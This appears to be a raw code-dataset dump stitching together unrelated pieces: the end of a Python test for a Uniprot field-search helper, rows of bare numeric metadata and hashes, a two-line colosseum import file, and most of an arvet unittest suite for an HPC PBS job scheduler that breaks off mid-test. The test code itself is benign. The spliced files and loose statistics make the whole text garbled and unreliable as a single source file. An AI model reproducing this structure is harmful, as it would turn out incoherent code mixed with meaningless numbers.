self.assertTrue(Uniprot.field_supported(search_terms[3][0])[0]) # Testing unsupported fields search_terms = [ ("Pie", "gnat family n-acetyltransferase"), (1, "gnat family n-acetyltransferase"), ("animal", "geobacillus"), ] self.assertFalse(Uniprot.field_supported(search_terms[0][0])[0]) self.assertFalse(Uniprot.field_supported(search_terms[1][0])[0]) self.assertFalse(Uniprot.field_supported(search_terms[2][0])[0]) def test_check_search_types(self): """ Tests the ability of the Uniprot_tests class member function ec_search() to check for correct types of the search fields. :param self: An instance of the Unprot_tests class. """ # Testing correct types. Expect True returned. search_terms = [ ("All", "gnat family n-acetyltransferase"), ("All", "geobacillus"), ] self.assertTrue(Uniprot.check_search_terms(search_terms)[0]) # Testing incorrect type of search_terms parameter. Expect False. search_terms = set(( ("All", "gnat family n-acetyltransferase"), ("All", "geobacillus"), )) self.assertFalse(Uniprot.check_search_terms(search_terms)[0]) # Testing incorrect types for elements of search_terms list. # Expect False returned. search_terms = [ ("All", "gnat family n-acetyltransferase"), ["All", "geobacillus"] ] self.assertFalse(Uniprot.check_search_terms(search_terms)[0]) # Testing incorrect types for elements in tuples for elements of # search_terms list. Expect False returned. search_terms = [("All", "gnat family n-acetyltransferase"), ("All", 1)] self.assertFalse(Uniprot.check_search_terms(search_terms)[0]) # Testing empty list for search_terms parameter. Expect False returned. search_terms = [] self.assertFalse(Uniprot.check_search_terms(search_terms)[0]) if __name__ == '__main__': unittest.main()
42.243548
856
0.570043
2,894
26,191
5.021769
0.085003
0.061653
0.052845
0.059726
0.853299
0.829492
0.808986
0.779949
0.738457
0.686025
0
0.014023
0.324768
26,191
620
857
42.243548
0.807747
0.226108
0
0.787129
0
0.007426
0.223149
0.085819
0.009901
0
0
0
0.178218
1
0.042079
false
0
0.007426
0
0.05198
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
34f5762cdc30ed258f6a54881487a322f285755f
138
py
Python
colosseum/mdps/frozen_lake/__init__.py
MichelangeloConserva/Colosseum
b0711fd9ce75520deb74cda75c148984a8e4152f
[ "MIT" ]
null
null
null
colosseum/mdps/frozen_lake/__init__.py
MichelangeloConserva/Colosseum
b0711fd9ce75520deb74cda75c148984a8e4152f
[ "MIT" ]
null
null
null
colosseum/mdps/frozen_lake/__init__.py
MichelangeloConserva/Colosseum
b0711fd9ce75520deb74cda75c148984a8e4152f
[ "MIT" ]
null
null
null
from colosseum.mdps.frozen_lake.continuous import FrozenLakeContinuous from colosseum.mdps.frozen_lake.episodic import FrozenLakeEpisodic
46
70
0.898551
16
138
7.625
0.625
0.213115
0.278689
0.377049
0.442623
0
0
0
0
0
0
0
0.057971
138
2
71
69
0.938462
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
7
9b360a13eb1184d62ff9d0208a6c0a8828001bc5
49,734
py
Python
arvet/batch_analysis/job_systems/tests/test_hpc_job_system.py
jskinn/arvet
742cf3e7ee8848c4efebfaa887fc9c0fd90a06e9
[ "BSD-2-Clause" ]
2
2021-05-27T21:48:34.000Z
2021-06-12T02:58:44.000Z
arvet/batch_analysis/job_systems/tests/test_hpc_job_system.py
jskinn/arvet
742cf3e7ee8848c4efebfaa887fc9c0fd90a06e9
[ "BSD-2-Clause" ]
null
null
null
arvet/batch_analysis/job_systems/tests/test_hpc_job_system.py
jskinn/arvet
742cf3e7ee8848c4efebfaa887fc9c0fd90a06e9
[ "BSD-2-Clause" ]
null
null
null
# Copyright (c) 2017, John Skinner import unittest import unittest.mock as mock import logging import os import bson from pathlib import Path from arvet.batch_analysis.task import Task from arvet.batch_analysis.tasks.import_dataset_task import ImportDatasetTask from arvet.batch_analysis.tasks.run_system_task import RunSystemTask from arvet.batch_analysis.tasks.measure_trial_task import MeasureTrialTask from arvet.batch_analysis.tasks.compare_trials_task import CompareTrialTask import arvet.batch_analysis.job_systems.hpc_job_system as hpc import arvet.batch_analysis.scripts.run_task class TestHPCJobSystem(unittest.TestCase): def test_works_with_empty_config(self): hpc.HPCJobSystem({}, 'myconf.yml') def test_cannot_generate_dataset(self): subject = hpc.HPCJobSystem({}, 'myconf.yml') self.assertFalse(subject.can_generate_dataset(bson.ObjectId(), {})) def test_configure_node_id(self): node_id = 'test-node-id-157890' subject = hpc.HPCJobSystem({'node_id': node_id}, 'myconf.yml') self.assertEqual(node_id, subject.node_id) def test_parse_memory_requirements_returns_num_in_KB(self): self.assertEqual(34 * 1024 * 1024, hpc.parse_memory_requirements('34GB')) self.assertEqual(23 * 1024, hpc.parse_memory_requirements('23MB')) self.assertEqual(196, hpc.parse_memory_requirements('196KB')) self.assertEqual(2554, hpc.parse_memory_requirements('2554')) def test_merge_expected_durations_sums_times(self): self.assertEqual('04:14:06', hpc.merge_expected_durations(['1:0:1', '0:12:2', '3:2:3'])) def test_merge_expected_durations_rolls_over_seconds(self): self.assertEqual('00:08:48', hpc.merge_expected_durations(['0:0:43', '0:5:28', '0:2:37'])) self.assertEqual('03:03:08', hpc.merge_expected_durations(['0:10:4313', '0:5:2238', '0:2:3417'])) def test_merge_expected_durations_rolls_over_minutes(self): self.assertEqual('01:41:48', hpc.merge_expected_durations(['0:22:03', '0:50:18', '0:29:27'])) self.assertEqual('13:54:35', hpc.merge_expected_durations(['0:102:06', '0:509:13', '0:223:16'])) def test_quote_passes_through_strings_without_spaces(self): string = 'this-is_a#string!@#$%^&**)12344575{0}},./' self.assertEqual(string, hpc.quote(string)) def test_quote_wraps_a_string_containing_spaces_in_double_quotes(self): string = 'this-is a#string!@#$%^&**)12344575{0}},./' self.assertEqual('"' + string + '"', hpc.quote(string)) class TestHPCJobSystemRunScript(unittest.TestCase): @classmethod def setUpClass(cls): logging.disable(logging.CRITICAL) @classmethod def tearDownClass(cls): logging.disable(logging.NOTSET) @mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') def test_run_script_checks_number_of_existing_jobs_if_a_limit_is_set(self, mock_run): mock_open = mock.mock_open() patch_subprocess(mock_run) mock_open.return_value = mock.MagicMock() subject = hpc.HPCJobSystem({'max_jobs': 100}, 'myconf.yml') with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True): subject.run_script('test_script', lambda *_: []) subject.run_queued_jobs() # Doesn't actually make the job until we run the queue self.assertIn(mock.call(['qjobs'], stdout=mock.ANY, universal_newlines=True), mock_run.call_args_list) @mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') def test_run_script_does_not_check_number_of_existing_jobs_if_no_limit_is_set(self, mock_run): mock_open = mock.mock_open() patch_subprocess(mock_run) mock_open.return_value = mock.MagicMock() subject = hpc.HPCJobSystem({}, 'myconf.yml') with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True): subject.run_script('test_script', lambda *_: []) subject.run_queued_jobs() self.assertNotIn(mock.call(['qjobs'], stdout=mock.ANY, universal_newlines=True), mock_run.call_args_list) def test_run_script_wont_submit_more_scripts_than_job_limit(self): mock_open = mock.mock_open() subject = hpc.HPCJobSystem({'max_jobs': 10}, 'myconf.yml') for idx in range(12): subject.run_script('test_script_{0}'.format(idx), lambda *_: []) with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run, num_jobs=0) subject.run_queued_jobs() self.assertEqual(11, mock_run.call_count) # Plus 1 for the check for existing # Make sure there are exactly 10 qsub calls self.assertEqual(10, sum(1 for call in mock_run.call_args_list if call[0][0][0] == 'qsub')) def test_run_script_returns_false_once_queue_is_full(self): subject = hpc.HPCJobSystem({'max_jobs': 10}, 'myconf.yml') for idx in range(12): result = subject.run_script('test_script_{0}'.format(idx), lambda *_: []) if idx < 9: self.assertTrue(result) self.assertFalse(subject.is_queue_full()) elif idx == 9: # The 10th job should successfully add, but the queue should now be full self.assertTrue(result) self.assertTrue(subject.is_queue_full()) else: self.assertFalse(result) self.assertTrue(subject.is_queue_full()) def test_existing_jobs_count_toward_max_jobs(self): mock_open = mock.mock_open() subject = hpc.HPCJobSystem({'max_jobs': 10}, 'myconf.yml') for idx in range(12): subject.run_script('test_script_{0}'.format(idx), lambda *_: []) with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run, num_jobs=5) subject.run_queued_jobs() self.assertEqual(6, mock_run.call_count) # Plus 1 for the check for existing # Make sure there are exactly 5 qsub calls self.assertEqual(5, sum(1 for call in mock_run.call_args_list if call[0][0][0] == 'qsub')) def test_run_script_creates_job_file(self): mock_open = mock.mock_open() mock_open.return_value = mock.MagicMock() subject = hpc.HPCJobSystem({}, 'myconf.yml') with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_script('test_script', lambda *_: []) subject.run_queued_jobs() self.assertTrue(mock_open.called) filename = str(mock_open.call_args[0][0]) # Creates in the home directory by default self.assertTrue(str(filename).startswith(os.path.expanduser('~')), "{0} is not in the home directory".format(filename)) self.assertTrue(filename.endswith('.sub'), "{0} does not end with '.sub'".format(filename)) def test_run_script_creates_job_file_in_configured_directory(self): mock_open = mock.mock_open() mock_open.return_value = mock.MagicMock() target_folder = os.path.join('/tmp', 'trial-{}'.format(bson.ObjectId())) subject = hpc.HPCJobSystem({'job_location': target_folder}, 'myconf.yml') with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_script('test_script', lambda *_: []) subject.run_queued_jobs() self.assertTrue(mock_open.called) filename = mock_open.call_args[0][0] # Creates in the home directory by default self.assertTrue(str(filename).startswith(target_folder), "{0} is not in the target directory".format(filename)) def test_run_script_writes_job_script(self): script_name = 'demo_script_' + str(bson.ObjectId()) script_args = ['--test', str(bson.ObjectId())] mock_open = mock.mock_open() subject = hpc.HPCJobSystem({}, 'myconf.yml') with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_script(script_name, lambda *_: script_args) subject.run_queued_jobs() self.assertTrue(mock_open.called) mock_file = mock_open() self.assertTrue(mock_file.write.called) script_contents = mock_file.write.call_args[0][0] self.assertTrue(script_contents.startswith('#!/bin/bash'), "Did not create a bash script") self.assertIn("python {0} {1}".format(script_name, ' '.join(script_args)), script_contents) def test_run_script_indicates_desired_cpus(self): mock_open = mock.mock_open() subject = hpc.HPCJobSystem({}, 'myconf.yml') with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_script('test_script', lambda *_: [], num_cpus=15789, num_gpus=0) subject.run_queued_jobs() self.assertTrue(mock_open.called) mock_file = mock_open() self.assertTrue(mock_file.write.called) script_contents = mock_file.write.call_args[0][0] self.assertIn("#PBS -l ncpus={cpus}".format(cpus=15789), script_contents) self.assertNotIn("#PBS -l cputype=", script_contents) def test_run_script_indicates_desired_gpus(self): mock_open = mock.mock_open() subject = hpc.HPCJobSystem({}, 'myconf.yml') with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_script('test_script', lambda *_: [], num_gpus=8026) subject.run_queued_jobs() self.assertTrue(mock_open.called) mock_file = mock_open() self.assertTrue(mock_file.write.called) script_contents = mock_file.write.call_args[0][0] self.assertIn("#PBS -l ngpus={gpus}".format(gpus=8026), script_contents) self.assertIn("#PBS -l gputype=M40", script_contents) self.assertIn("#PBS -l cputype=E5-2680v4", script_contents) def test_run_script_indicates_desired_memory(self): mock_open = mock.mock_open() subject = hpc.HPCJobSystem({}, 'myconf.yml') with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_script('test_script', lambda *_: [], memory_requirements='1542GB') subject.run_queued_jobs() self.assertTrue(mock_open.called) mock_file = mock_open() self.assertTrue(mock_file.write.called) script_contents = mock_file.write.call_args[0][0] self.assertIn("#PBS -l mem={mem}".format(mem='1542GB'), script_contents) def test_run_script_indicates_expected_run_time(self): mock_open = mock.mock_open() subject = hpc.HPCJobSystem({}, 'myconf.yml') with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_script('test_script', lambda *_: [], expected_duration='125:23:16') subject.run_queued_jobs() self.assertTrue(mock_open.called) mock_file = mock_open() self.assertTrue(mock_file.write.called) script_contents = mock_file.write.call_args[0][0] self.assertIn("#PBS -l walltime={time}".format(time='125:23:16'), script_contents) def test_run_script_job_name_matches_filename(self): job_name = 'my_job' mock_open = mock.mock_open() subject = hpc.HPCJobSystem({}, 'myconf.yml') with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_script('test_script', lambda *_: [], job_name=job_name) subject.run_queued_jobs() self.assertTrue(mock_open.called) filename = str(mock_open.call_args[0][0]) mock_file = mock_open() self.assertTrue(mock_file.write.called) script_contents = mock_file.write.call_args[0][0] self.assertTrue(filename.endswith("{0}.sub".format(job_name))) _, _, filename = filename.rpartition('/') filename, _, _ = filename.rpartition('.') self.assertEqual(job_name, filename) # Check that the name in the job file is exactly the same as the script name self.assertIn('#PBS -N {0}'.format(filename), script_contents) def test_run_script_job_name_has_configured_prefix(self): job_name = 'myjob' mock_open = mock.mock_open() subject = hpc.HPCJobSystem({'job_name_prefix': 'job_'}, 'myconf.yml') with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_script('test_script', lambda *_: [], job_name=job_name) subject.run_queued_jobs() self.assertTrue(mock_open.called) filename = str(mock_open.call_args[0][0]) mock_file = mock_open() self.assertTrue(mock_file.write.called) script_contents = mock_file.write.call_args[0][0] self.assertTrue(filename.endswith("job_{0}.sub".format(job_name))) _, _, filename = filename.rpartition('/') filename, _, _ = filename.rpartition('.') self.assertNotEqual('', filename) # Check that the name in the job file is exactly the same as the script name self.assertIn('#PBS -N {0}'.format(filename), script_contents) def test_run_script_creates_job_file_that_runs_script_with_returned_arguments(self): mock_open = mock.mock_open() subject = hpc.HPCJobSystem({}, 'myconf.yml') with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_script('test_script', lambda config, port=0: ['--myarg1', str(config)]) subject.run_queued_jobs() mock_file = mock_open() self.assertTrue(mock_file.write.called) script_contents = mock_file.write.call_args[0][0] self.assertIn('\npython test_script --myarg1 {0}\n'.format(os.path.abspath('myconf.yml')), script_contents) def test_run_script_uses_configured_environment(self): mock_open = mock.mock_open() environment_path = '/home/user/environment.sh' subject = hpc.HPCJobSystem({'environment': environment_path}, 'myconf.yml') with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_script('test_script', lambda *_: []) subject.run_queued_jobs() mock_file = mock_open() self.assertTrue(mock_file.write.called) script_contents = mock_file.write.call_args[0][0] # split the script into what happens before the script is called, and what happens after parts = script_contents.split('\npython test_script') self.assertEqual(2, len(parts)) self.assertIn('\nsource {0}'.format(environment_path), parts[0]) def test_run_script_uses_current_working_directory(self): mock_open = mock.mock_open() subject = hpc.HPCJobSystem({}, 'myconf.yml') with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_script('test_script', lambda *_: []) subject.run_queued_jobs() mock_file = mock_open() self.assertTrue(mock_file.write.called) script_contents = mock_file.write.call_args[0][0] # split the script into what happens before the script is called, and what happens after parts = script_contents.split('\npython test_script') self.assertEqual(2, len(parts)) self.assertIn('\ncd {0}'.format(os.getcwd()), parts[0]) def test_run_script_removes_job_after_complete(self): mock_open = mock.mock_open() subject = hpc.HPCJobSystem({}, 'myconf.yml') with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_script('test_script', lambda *_: []) subject.run_queued_jobs() job_filename = mock_open.call_args[0][0] mock_file = mock_open() self.assertTrue(mock_file.write.called) script_contents = mock_file.write.call_args[0][0] # split the script into what happens before the script is called, and what happens after parts = script_contents.split('\npython test_script') self.assertEqual(2, len(parts)) self.assertIn('\nrm '.format(job_filename), parts[1]) def test_run_script_doesnt_do_anything_with_ssh_if_not_configured_to(self): mock_open = mock.mock_open() subject = hpc.HPCJobSystem({}, 'myconf.yml') with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_script('test_script', lambda *_: []) subject.run_queued_jobs() mock_file = mock_open() self.assertTrue(mock_file.write.called) script_contents = mock_file.write.call_args[0][0] self.assertNotIn('ssh', script_contents) def test_run_script_starts_and_stops_ssh_tunnel(self): job_name = 'testjob' mock_open = mock.mock_open() environment_path = '/home/user/environment.sh' job_folder = str(Path(__file__).parent) subject = hpc.HPCJobSystem({ 'job_location': job_folder, 'environment': environment_path, 'ssh_tunnel': { 'hostname': '127.0.0.1', 'username': 'test-user', 'ssh_key': 'my-ssh-key.rsa', 'min_port': 5060, 'max_port': 5062 } }, 'myconf.yml') with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run, num_jobs=0) subject.run_script('test_script', lambda *_: [], job_name=job_name) subject.run_queued_jobs() mock_file = mock_open() self.assertTrue(mock_file.write.called) script_contents = mock_file.write.call_args[0][0] # split the script into what happens before the script is called, and what happens after parts = script_contents.split('\npython test_script') self.assertEqual(2, len(parts)) self.assertIn(hpc.SSH_TUNNEL_PREFIX.format( ssh_key=os.path.abspath('my-ssh-key.rsa'), local_port=5060, username='test-user', hostname='127.0.0.1', job_name=job_name, job_folder=job_folder ).strip(), parts[0]) self.assertIn(hpc.SSH_TUNNEL_SUFFIX.format( local_port=5060, job_name=job_name, job_folder=job_folder ).strip(), parts[1]) def test_run_script_assigns_different_ssh_ports_to_successive_jobs(self): job_name = 'testjob' min_port = 5060 mock_open = mock.mock_open() environment_path = '/home/user/environment.sh' job_folder = str(Path(__file__).parent) subject = hpc.HPCJobSystem({ 'job_location': job_folder, 'environment': environment_path, 'ssh_tunnel': { 'hostname': '127.0.0.1', 'username': 'test-user', 'ssh_key': 'my-ssh-key.rsa', 'min_port': min_port, 'max_port': min_port + 1000 } }, 'myconf.yml') for port in range(min_port, min_port + 10): with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_script('test_script', lambda config, p=0: ['--port', str(p)], job_name=job_name) subject.run_queued_jobs() mock_file = mock_open() self.assertTrue(mock_file.write.called) script_contents = mock_file.write.call_args[0][0] self.assertIn('\npython test_script --port {0}\n'.format(port), script_contents) # split the script into what happens before the script is called, and what happens after parts = script_contents.split('\npython test_script') self.assertEqual(2, len(parts)) self.assertIn(hpc.SSH_TUNNEL_PREFIX.format( ssh_key=os.path.abspath('my-ssh-key.rsa'), local_port=port, username='test-user', hostname='127.0.0.1', job_name=job_name, job_folder=job_folder ).strip(), parts[0]) self.assertIn(hpc.SSH_TUNNEL_SUFFIX.format( local_port=port, job_name=job_name, job_folder=job_folder ).strip(), parts[1]) def test_run_script_wont_submit_more_scripts_than_available_ssh_ports(self): mock_open = mock.mock_open() subject = hpc.HPCJobSystem({ 'environment': '/home/user/environment.sh', 'ssh_tunnel': { 'hostname': '127.0.0.1', 'username': 'test-user', 'ssh_key': 'my-ssh-key.rsa', 'min_port': 5060, 'max_port': 5069 # Max is inclusive } }, 'myconf.yml') for _ in range(12): subject.run_script('test_script', lambda *_: []) with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run, num_jobs=0) subject.run_queued_jobs() self.assertEqual(11, mock_run.call_count) # Plus 1 for the check for existing # Make sure there are exactly 5 qsub calls self.assertEqual(10, sum(1 for call in mock_run.call_args_list if call[0][0][0] == 'qsub')) @mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') def test_script_task_submits_job(self, mock_run): mock_open = mock.mock_open() patch_subprocess(mock_run) mock_open.return_value = mock.MagicMock() subject = hpc.HPCJobSystem({}, 'myconf.yml') with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True): subject.run_script('test_script', lambda *_: []) subject.run_queued_jobs() filename = mock_open.call_args[0][0] self.assertIn(mock.call(['qsub', filename], stdout=mock.ANY, universal_newlines=True), mock_run.call_args_list) class TestHPCJobSystemRunTask(unittest.TestCase): @classmethod def setUpClass(cls): logging.disable(logging.CRITICAL) @classmethod def tearDownClass(cls): logging.disable(logging.NOTSET) def test_run_task_marks_task_started(self): node_id = 'node-14170' mock_open = mock.mock_open() mock_open.return_value = mock.MagicMock() mock_task = make_mock_task() subject = hpc.HPCJobSystem({'node_id': node_id}, 'myconf.yml') subject.run_task(mock_task) with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_queued_jobs() self.assertTrue(mock_task.mark_job_started.called) self.assertEqual(node_id, mock_task.mark_job_started.call_args[0][0]) self.assertTrue(mock_task.save.called) def test_run_task_creates_job_file(self): mock_open = mock.mock_open() mock_open.return_value = mock.MagicMock() subject = hpc.HPCJobSystem({}, 'myconf.yml') subject.run_task(make_mock_task()) with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_queued_jobs() self.assertTrue(mock_open.called) filename = str(mock_open.call_args[0][0]) # Creates in the home directory by default self.assertTrue(filename.startswith(os.path.expanduser('~')), "{0} is not in the home directory".format(filename)) self.assertTrue(filename.endswith('.sub'), "{0} does not end with '.sub'".format(filename)) def test_run_task_creates_job_file_in_configured_directory(self): mock_open = mock.mock_open() mock_open.return_value = mock.MagicMock() target_folder = os.path.join('/tmp', 'trial-{}'.format(bson.ObjectId())) subject = hpc.HPCJobSystem({'job_location': target_folder}, 'myconf.yml') with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_task(make_mock_task()) subject.run_queued_jobs() self.assertTrue(mock_open.called) filename = str(mock_open.call_args[0][0]) # Creates in the home directory by default self.assertTrue(filename.startswith(target_folder), "{0} is not in the target directory".format(filename)) def test_run_task_writes_job_script(self): mock_task = make_mock_task() mock_open = mock.mock_open() subject = hpc.HPCJobSystem({}, 'myconf.yml') with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_task(mock_task) subject.run_queued_jobs() self.assertTrue(mock_open.called) mock_file = mock_open() self.assertTrue(mock_file.write.called) script_contents = mock_file.write.call_args[0][0] self.assertTrue(script_contents.startswith('#!/bin/bash'), "Did not create a bash script") self.assertIn("python {0} --config {1} {2}".format( hpc.quote(arvet.batch_analysis.scripts.run_task.__file__), os.path.abspath('myconf.yml'), mock_task.pk ), script_contents) def test_run_task_indicates_desired_cpus(self): mock_task = make_mock_task() mock_task.num_cpus = 15789 mock_open = mock.mock_open() subject = hpc.HPCJobSystem({}, 'myconf.yml') with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_task(mock_task) subject.run_queued_jobs() self.assertTrue(mock_open.called) mock_file = mock_open() self.assertTrue(mock_file.write.called) script_contents = mock_file.write.call_args[0][0] self.assertIn("#PBS -l ncpus={cpus}".format(cpus=15789), script_contents) self.assertNotIn("#PBS -l cputype=", script_contents) def test_run_task_indicates_desired_gpus(self): mock_task = make_mock_task() mock_task.num_gpus = 8026 mock_open = mock.mock_open() subject = hpc.HPCJobSystem({}, 'myconf.yml') with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_task(mock_task) subject.run_queued_jobs() self.assertTrue(mock_open.called) mock_file = mock_open() self.assertTrue(mock_file.write.called) script_contents = mock_file.write.call_args[0][0] self.assertIn("#PBS -l ngpus={gpus}".format(gpus=8026), script_contents) self.assertIn("#PBS -l gputype=M40", script_contents) self.assertIn("#PBS -l cputype=E5-2680v4", script_contents) def test_run_task_indicates_desired_memory(self): mock_task = make_mock_task() mock_task.memory_requirements = '1542GB' mock_open = mock.mock_open() subject = hpc.HPCJobSystem({}, 'myconf.yml') with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_task(mock_task) subject.run_queued_jobs() self.assertTrue(mock_open.called) mock_file = mock_open() self.assertTrue(mock_file.write.called) script_contents = mock_file.write.call_args[0][0] self.assertIn("#PBS -l mem={mem}".format(mem='1542GB'), script_contents) def test_run_task_indicates_expected_run_time(self): mock_task = make_mock_task() mock_task.expected_duration = '125:23:16' mock_open = mock.mock_open() subject = hpc.HPCJobSystem({}, 'myconf.yml') with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_task(mock_task) subject.run_queued_jobs() self.assertTrue(mock_open.called) mock_file = mock_open() self.assertTrue(mock_file.write.called) script_contents = mock_file.write.call_args[0][0] self.assertIn("#PBS -l walltime={time}".format(time='125:23:16'), script_contents) def test_run_task_job_name_matches_filename(self): mock_task = make_mock_task() job_name = mock_task.get_unique_name() mock_open = mock.mock_open() subject = hpc.HPCJobSystem({}, 'myconf.yml') with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_task(mock_task) subject.run_queued_jobs() self.assertTrue(mock_open.called) filename = str(mock_open.call_args[0][0]) mock_file = mock_open() self.assertTrue(mock_file.write.called) script_contents = mock_file.write.call_args[0][0] self.assertTrue(filename.endswith("{0}.sub".format(job_name))) _, _, filename = filename.rpartition('/') filename, _, _ = filename.rpartition('.') self.assertNotEqual('', filename) # Check that the name in the job file is exactly the same as the script name self.assertIn('#PBS -N {0}'.format(filename), script_contents) def test_run_task_job_name_has_configured_prefix(self): mock_task = make_mock_task() job_name = mock_task.get_unique_name() mock_open = mock.mock_open() subject = hpc.HPCJobSystem({'job_name_prefix': 'job_'}, 'myconf.yml') with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_task(mock_task) subject.run_queued_jobs() self.assertTrue(mock_open.called) filename = str(mock_open.call_args[0][0]) mock_file = mock_open() self.assertTrue(mock_file.write.called) script_contents = mock_file.write.call_args[0][0] self.assertTrue(filename.endswith("job_{0}.sub".format(job_name))) _, _, filename = filename.rpartition('/') filename, _, _ = filename.rpartition('.') self.assertNotEqual('', filename) # Check that the name in the job file is exactly the same as the script name self.assertIn('#PBS -N {0}'.format(filename), script_contents) def test_run_task_creates_job_file_that_calls_run_task(self): mock_open = mock.mock_open() mock_task = make_mock_task() environment_path = '/home/user/environment.sh' subject = hpc.HPCJobSystem({'environment': environment_path}, 'myconf.yml') 